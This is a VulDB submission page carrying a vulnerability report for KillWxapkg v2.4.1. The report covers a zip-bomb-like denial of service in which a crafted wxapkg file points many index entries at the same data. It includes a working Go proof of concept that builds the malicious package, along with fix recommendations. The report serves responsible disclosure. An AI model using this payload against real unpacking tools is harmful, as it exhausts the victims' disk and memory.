提出 #580524: KillWxapkg v2.4.1 Denial of Service

**Vulnerability Report: Malicious `wxapkg` File May Cause Zip Bomb-like Resource Exhaustion**

**Summary:**
A specially crafted `wxapkg` (WeChat Mini Program package) file can cause excessive resource consumption during decompression or parsing, similar in effect to a [zip bomb](https://en.wikipedia.org/wiki/Zip_bomb). This can lead to denial of service or failure of tools processing such files.

**Vulnerability Details:**
The `wxapkg` file format lacks sufficient validation for internal file size metadata. By exploiting this, an attacker can create a `wxapkg` that appears small but expands into an abnormally large size upon unpacking, consuming excessive **disk space and memory**.

**Impact:**
Processing such a malicious `wxapkg` file can result in:

* Unusually high **disk space usage**
* Excessive **memory consumption**

Proof of Concept (PoC):

```go
func createTestWxapkg1() []byte {
var buf bytes.Buffer

// header
buf.WriteByte(0xBE)

binary.Write(&buf, binary.BigEndian, uint32(0))

indexLenPos := buf.Len()
binary.Write(&buf, binary.BigEndian, uint32(0)) // indexInfoLength
binary.Write(&buf, binary.BigEndian, uint32(0)) // bodyInfoLength

buf.WriteByte(0xED)

// files
number := 100 // TODO Can be modified to a larger number
binary.Write(&buf, binary.BigEndian, uint32(number)) // files number

indexStart := buf.Len()

fileContent := []byte("foobar") // TODO Fill with junk content

// Calculate the file content offset position in advance
dataPos := indexStart
for idx := range number {
dataPos += 4 + len(fmt.Sprintf("foo-%d.txt", idx)) + 8
}

for idx := range number {
fname := fmt.Sprintf("foo-%d.txt", idx)
binary.Write(&buf, binary.BigEndian, uint32(len(fname)))
buf.WriteString(fname)

// Point all file contents to the same location
binary.Write(&buf, binary.BigEndian, uint32(dataPos))
binary.Write(&buf, binary.BigEndian, uint32(len(fileContent)))
}

buf.Write(fileContent)

b := buf.Bytes()
binary.BigEndian.PutUint32(b[indexLenPos:], uint32(buf.Len()-indexStart))
binary.BigEndian.PutUint32(b[indexLenPos+4:], uint32(len(fileContent)))

return buf.Bytes()
}

func TestUnPack(t *testing.T) {
data := createTestWxapkg1()
t.Log(UnpackWxapkg(data, "./foo"))
}
```

<img width="213" alt="Image" src="https://github.com/user-attachments/assets/8fec2559-2e89-49d7-bec0-bb3641980a50" />

**Recommendations:**

- Enforce strict limits on the number of unpacked files
- Set a maximum directory or nesting depth during unpacking

**Severity:** Medium

• ソース: ⚠️ https://github.com/Ackites/KillWxapkg/issues/86
• ユーザー: zznQ (UID 64000)
• 送信: 2025年05月19日 09:41 (1 年 ago)
• モデレーション: 2025年05月21日 12:58 (2 days later)
• ステータス: 承諾済み
• VulDBエントリ: 309851 [Ackites KillWxapkg 迄 2.4.1 wxapkg File Decompression サービス拒否]
• ポイント: 20